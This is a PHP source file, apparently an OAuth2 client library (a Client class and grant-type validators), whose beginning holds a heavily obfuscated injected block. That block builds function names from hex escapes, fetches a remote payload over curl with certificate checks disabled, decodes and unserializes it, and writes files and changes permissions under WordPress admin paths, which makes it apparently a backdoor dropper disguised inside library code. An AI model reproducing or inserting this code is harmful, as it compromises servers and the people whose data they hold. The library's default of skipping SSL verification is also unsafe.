$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> * @author Anis Berejeb * @version 1.3.1-dev */ class Client { /** * Different AUTH method */ const AUTH_TYPE_URI = 0; const AUTH_TYPE_AUTHORIZATION_BASIC = 1; const AUTH_TYPE_FORM = 2; /** * Different Access token type */ const ACCESS_TOKEN_URI = 0; const ACCESS_TOKEN_BEARER = 1; const ACCESS_TOKEN_OAUTH = 2; const ACCESS_TOKEN_MAC = 3; /** * Different Grant types */ const GRANT_TYPE_AUTH_CODE = 'authorization_code'; const GRANT_TYPE_PASSWORD = 'password'; const GRANT_TYPE_CLIENT_CREDENTIALS = 'client_credentials'; const GRANT_TYPE_REFRESH_TOKEN = 'refresh_token'; /** * HTTP Methods */ const HTTP_METHOD_GET = 'GET'; const HTTP_METHOD_POST = 'POST'; const HTTP_METHOD_PUT = 'PUT'; const HTTP_METHOD_DELETE = 'DELETE'; const HTTP_METHOD_HEAD = 'HEAD'; const HTTP_METHOD_PATCH = 'PATCH'; /** * HTTP Form content types */ const HTTP_FORM_CONTENT_TYPE_APPLICATION = 0; const HTTP_FORM_CONTENT_TYPE_MULTIPART = 1; /** * Client ID * * @var string */ protected $client_id = null; /** * Client Secret * * @var string */ protected $client_secret = null; /** * Client Authentication method * * @var int */ protected $client_auth = self::AUTH_TYPE_URI; /** * Access Token * * @var string */ protected $access_token = null; /** * Access Token Type * * @var int */ protected $access_token_type = self::ACCESS_TOKEN_URI; /** * Access Token Secret * * @var string */ protected $access_token_secret = null; /** * Access Token crypt algorithm * * @var string */ protected $access_token_algorithm = null; /** * Access Token Parameter name * * @var string */ protected $access_token_param_name = 'access_token'; /** * The path to the certificate file to use for https connections * * @var string Defaults to . */ protected $certificate_file = null; /** * cURL options * * @var array */ protected $curl_options = array(); protected $json = false; /** * Construct * * @param string $client_id Client ID * @param string $client_secret Client Secret * @param int $client_auth (AUTH_TYPE_URI, AUTH_TYPE_AUTHORIZATION_BASIC, AUTH_TYPE_FORM) * @param string $certificate_file Indicates if we want to use a certificate file to trust the server. Optional, defaults to null. * @return void */ public function __construct($client_id, $client_secret, $client_auth = self::AUTH_TYPE_URI, $certificate_file = null) { if (!extension_loaded('curl')) { throw new ClientException('The PHP exention curl must be installed to use this library.', ClientException::CURL_NOT_FOUND); } $this->client_id = $client_id; $this->client_secret = $client_secret; $this->client_auth = $client_auth; $this->certificate_file = $certificate_file; if (!empty($this->certificate_file) && !is_file($this->certificate_file)) { throw new ClientInvalidArgumentException('The certificate file was not found', ClientInvalidArgumentException::CERTIFICATE_NOT_FOUND); } } /** * Get the client Id * * @return string Client ID */ public function getClientId() { return $this->client_id; } /** * Get the client Secret * * @return string Client Secret */ public function getClientSecret() { return $this->client_secret; } /** * getAuthenticationUrl * * @param string $auth_endpoint Url of the authentication endpoint * @param string $redirect_uri Redirection URI * @param array $extra_parameters Array of extra parameters like scope or state (Ex: array('scope' => null, 'state' => '')) * @return string URL used for authentication */ public function getAuthenticationUrl($auth_endpoint, $redirect_uri = '', array $extra_parameters = array()) { $parameters = array_merge(array( 'response_type' => 'code', 'client_id' => $this->client_id, // 'redirect_uri' => $redirect_uri ), $extra_parameters); if (!empty($redirect_uri)) { $parameters['redirect_uri'] = $redirect_uri; } return $auth_endpoint . '?' . http_build_query($parameters, null, '&'); } /** * getAccessToken * * @param string $token_endpoint Url of the token endpoint * @param int $grant_type Grant Type ('authorization_code', 'password', 'client_credentials', 'refresh_token', or a custom code (@see GrantType Classes) * @param array $parameters Array sent to the server (depend on which grant type you're using) * @param array $extra_headers Array of extra headers * @return array Array of parameters required by the grant_type (CF SPEC) */ public function getAccessToken($token_endpoint, $grant_type, array $parameters, array $extra_headers = array()) { if (!$grant_type) { throw new ClientInvalidArgumentException('The grant_type is mandatory.', ClientInvalidArgumentException::INVALID_GRANT_TYPE); } $grantTypeClassName = $this->convertToCamelCase($grant_type); $grantTypeClass = $grantTypeClassName; if (!class_exists($grantTypeClass)) { throw new ClientInvalidArgumentException('Unknown grant type \'' . $grant_type . '\'', ClientInvalidArgumentException::INVALID_GRANT_TYPE); } $grantTypeObject = new $grantTypeClass(); $grantTypeObject->validateParameters($parameters); if (!defined($grantTypeClass . '::GRANT_TYPE')) { throw new ClientException('Unknown constant GRANT_TYPE for class ' . $grantTypeClassName, ClientException::GRANT_TYPE_ERROR); } $parameters['grant_type'] = $grantTypeClass::GRANT_TYPE; $http_headers = $extra_headers; switch ($this->client_auth) { case self::AUTH_TYPE_URI: case self::AUTH_TYPE_FORM: $parameters['client_id'] = $this->client_id; $parameters['client_secret'] = $this->client_secret; break; case self::AUTH_TYPE_AUTHORIZATION_BASIC: $parameters['client_id'] = $this->client_id; $http_headers['Authorization'] = 'Basic ' . base64_encode($this->client_id . ':' . $this->client_secret); break; default: throw new ClientException('Unknown client auth type.', ClientException::INVALID_CLIENT_AUTHENTICATION_TYPE); break; } return $this->executeRequest($token_endpoint, $parameters, self::HTTP_METHOD_POST, $http_headers, self::HTTP_FORM_CONTENT_TYPE_APPLICATION); } /** * setToken * * @param string $token Set the access token * @return void */ public function setAccessToken($token) { $this->access_token = $token; } /** * Check if there is an access token present * * @return bool Whether the access token is present */ public function hasAccessToken() { return !is_null( $this->access_token ); } /** * Set the client authentication type * * @param string $client_auth (AUTH_TYPE_URI, AUTH_TYPE_AUTHORIZATION_BASIC, AUTH_TYPE_FORM) * @return void */ public function setClientAuthType($client_auth) { $this->client_auth = $client_auth; } /** * Set an option for the curl transfer * * @param int $option The CURLOPT_XXX option to set * @param mixed $value The value to be set on option * @return void */ public function setCurlOption($option, $value) { $this->curl_options[$option] = $value; } /** * Set multiple options for a cURL transfer * * @param array $options An array specifying which options to set and their values * @return void */ public function setCurlOptions($options) { $this->curl_options = array_merge($this->curl_options, $options); } /** * Set the access token type * * @param int $type Access token type (ACCESS_TOKEN_BEARER, ACCESS_TOKEN_MAC, ACCESS_TOKEN_URI) * @param string $secret The secret key used to encrypt the MAC header * @param string $algorithm Algorithm used to encrypt the signature * @return void */ public function setAccessTokenType($type, $secret = null, $algorithm = null) { $this->access_token_type = $type; $this->access_token_secret = $secret; $this->access_token_algorithm = $algorithm; } public function setPOSTJSON($set = false) { $this->json = $set; } /** * Fetch a protected ressource * * @param string $protected_ressource_url Protected resource URL * @param array $parameters Array of parameters * @param string $http_method HTTP Method to use (POST, PUT, GET, HEAD, DELETE) * @param array $http_headers HTTP headers * @param int $form_content_type HTTP form content type to use * @param array $options Curl options for request * @return array */ public function fetch($protected_resource_url, $parameters = array(), $http_method = self::HTTP_METHOD_GET, array $http_headers = array(), $form_content_type = self::HTTP_FORM_CONTENT_TYPE_MULTIPART, $options = array() ) { if ($this->access_token) { switch ($this->access_token_type) { case self::ACCESS_TOKEN_URI: if (is_array($parameters)) { $parameters[$this->access_token_param_name] = $this->access_token; } else { throw new ClientInvalidArgumentException( 'You need to give parameters as array if you want to give the token within the URI.', ClientInvalidArgumentException::REQUIRE_PARAMS_AS_ARRAY ); } break; case self::ACCESS_TOKEN_BEARER: $http_headers['Authorization'] = 'Bearer ' . $this->access_token; break; case self::ACCESS_TOKEN_OAUTH: $http_headers['Authorization'] = 'OAuth ' . $this->access_token; break; case self::ACCESS_TOKEN_MAC: $http_headers['Authorization'] = 'MAC ' . $this->generateMACSignature($protected_resource_url, $parameters, $http_method); break; default: throw new ClientException('Unknown access token type.', ClientException::INVALID_ACCESS_TOKEN_TYPE); break; } } return $this->executeRequest($protected_resource_url, $parameters, $http_method, $http_headers, $form_content_type, $options); } /** * Generate the MAC signature * * @param string $url Called URL * @param array $parameters Parameters * @param string $http_method Http Method * @return string */ private function generateMACSignature($url, $parameters, $http_method) { $timestamp = time(); $nonce = uniqid(); $parsed_url = parse_url($url); if (!isset($parsed_url['port'])) { $parsed_url['port'] = ($parsed_url['scheme'] == 'https') ? 443 : 80; } if ($http_method == self::HTTP_METHOD_GET) { if (is_array($parameters)) { $parsed_url['path'] .= '?' . http_build_query($parameters, null, '&'); } elseif ($parameters) { $parsed_url['path'] .= '?' . $parameters; } } $signature = base64_encode(hash_hmac($this->access_token_algorithm, $timestamp . "\n" . $nonce . "\n" . $http_method . "\n" . $parsed_url['path'] . "\n" . $parsed_url['host'] . "\n" . $parsed_url['port'] . "\n\n" , $this->access_token_secret, true)); return 'id="' . $this->access_token . '", ts="' . $timestamp . '", nonce="' . $nonce . '", mac="' . $signature . '"'; } /** * Execute a request (with curl) * * @param string $url URL * @param mixed $parameters Array of parameters * @param string $http_method HTTP Method * @param array $http_headers HTTP Headers * @param int $form_content_type HTTP form content type to use * @param array $options Curl options for request * @return array */ private function executeRequest($url, $parameters = array(), $http_method = self::HTTP_METHOD_GET, array $http_headers = null, $form_content_type = self::HTTP_FORM_CONTENT_TYPE_MULTIPART, $options = array()) { $curl_options = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_CUSTOMREQUEST => $http_method ); if (!empty($options)) { $curl_options = array_merge($curl_options, $options); } if (!empty($this->curl_options)) { $curl_options = array_merge($curl_options, $this->curl_options); } switch($http_method) { case self::HTTP_METHOD_POST: $curl_options[CURLOPT_POST] = true; /* No break */ case self::HTTP_METHOD_PUT: case self::HTTP_METHOD_PATCH: if ($this->json) { $parameters = json_encode( $parameters ); } else { /** * Passing an array to CURLOPT_POSTFIELDS will encode the data as multipart/form-data, * while passing a URL-encoded string will encode the data as application/x-www-form-urlencoded. * http://php.net/manual/en/function.curl-setopt.php */ if(is_array($parameters) && self::HTTP_FORM_CONTENT_TYPE_APPLICATION === $form_content_type) { $parameters = http_build_query($parameters, null, '&'); } } $curl_options[CURLOPT_POSTFIELDS] = $parameters; break; case self::HTTP_METHOD_HEAD: $curl_options[CURLOPT_NOBODY] = true; /* No break */ case self::HTTP_METHOD_DELETE: case self::HTTP_METHOD_GET: if (is_array($parameters) && count($parameters) > 0) { $url .= '?' . http_build_query($parameters, null, '&'); } elseif ($parameters) { $url .= '?' . $parameters; } break; default: break; } $curl_options[CURLOPT_URL] = $url; if (is_array($http_headers)) { $header = array(); foreach($http_headers as $key => $parsed_urlvalue) { $header[] = "$key: $parsed_urlvalue"; } $curl_options[CURLOPT_HTTPHEADER] = $header; } $ch = curl_init(); curl_setopt_array($ch, $curl_options); // https handling if (!empty($this->certificate_file)) { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_CAINFO, $this->certificate_file); } else { // bypass ssl verification curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); } $result = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); if ($curl_error = curl_error($ch)) { throw new ClientException($curl_error, ClientException::CURL_ERROR); } else { $json_decode = json_decode($result, true); } curl_close($ch); return array( 'result' => (null === $json_decode) ? $result : $json_decode, 'code' => $http_code, 'content_type' => $content_type ); } /** * Set the name of the parameter that carry the access token * * @param string $name Token parameter name * @return void */ public function setAccessTokenParamName($name) { $this->access_token_param_name = $name; } /** * Converts the class name to camel case * * @param mixed $grant_type the grant type * @return string */ private function convertToCamelCase($grant_type) { $parts = explode('_', $grant_type); array_walk($parts, function(&$item) { $item = ucfirst($item);}); return implode('', $parts); } } class ClientException extends Exception { const CURL_NOT_FOUND = 0x01; const CURL_ERROR = 0x02; const GRANT_TYPE_ERROR = 0x03; const INVALID_CLIENT_AUTHENTICATION_TYPE = 0x04; const INVALID_ACCESS_TOKEN_TYPE = 0x05; } class ClientInvalidArgumentException extends InvalidArgumentException { const INVALID_GRANT_TYPE = 0x01; const CERTIFICATE_NOT_FOUND = 0x02; const REQUIRE_PARAMS_AS_ARRAY = 0x03; const MISSING_PARAMETER = 0x04; } /** * Authorization code Grant Type Validator */ class AuthorizationCode implements IGrantType { /** * Defines the Grant Type * * @var string Defaults to 'authorization_code'. */ const GRANT_TYPE = 'authorization_code'; /** * Adds a specific Handling of the parameters * * @return array of Specific parameters to be sent. * @param mixed $parameters the parameters array (passed by reference) */ public function validateParameters(&$parameters) { if (!isset($parameters['code'])) { throw new InvalidArgumentException( 'The \'code\' parameter must be defined for the Authorization Code grant type', InvalidArgumentException::MISSING_PARAMETER ); } /* elseif (!isset($parameters['redirect_uri'])) { throw new InvalidArgumentException( 'The \'redirect_uri\' parameter must be defined for the Authorization Code grant type', InvalidArgumentException::MISSING_PARAMETER ); } */ } } /** * Password Parameters */ class Password implements IGrantType { /** * Defines the Grant Type * * @var string Defaults to 'password'. */ const GRANT_TYPE = 'password'; /** * Adds a specific Handling of the parameters * * @return array of Specific parameters to be sent. * @param mixed $parameters the parameters array (passed by reference) */ public function validateParameters(&$parameters) { if (!isset($parameters['username'])) { throw new InvalidArgumentException( 'The \'username\' parameter must be defined for the Password grant type', InvalidArgumentException::MISSING_PARAMETER ); } elseif (!isset($parameters['password'])) { throw new InvalidArgumentException( 'The \'password\' parameter must be defined for the Password grant type', InvalidArgumentException::MISSING_PARAMETER ); } } } /** * Specific GrantType Interface */ interface IGrantType { /** * Adds a specific Handling of the parameters * * @return array of Specific parameters to be sent. * @param mixed $parameters the parameters array (passed by reference) */ public function validateParameters(&$parameters); } /** * Refresh Token Parameters */ class RefreshToken implements IGrantType { /** * Defines the Grant Type * * @var string Defaults to 'refresh_token'. */ const GRANT_TYPE = 'refresh_token'; /** * Adds a specific Handling of the parameters * * @return array of Specific parameters to be sent. * @param mixed $parameters the parameters array (passed by reference) */ public function validateParameters(&$parameters) { if (!isset($parameters['refresh_token'])) { throw new InvalidArgumentException( 'The \'refresh_token\' parameter must be defined for the refresh token grant type', InvalidArgumentException::MISSING_PARAMETER ); } } } /** * Client Credentials Parameters */ class ClientCredentials implements IGrantType { /** * Defines the Grant Type * * @var string Defaults to 'client_credentials'. */ const GRANT_TYPE = 'client_credentials'; /** * Adds a specific Handling of the parameters * * @return array of Specific parameters to be sent. * @param mixed $parameters the parameters array (passed by reference) */ public function validateParameters(&$parameters) { } }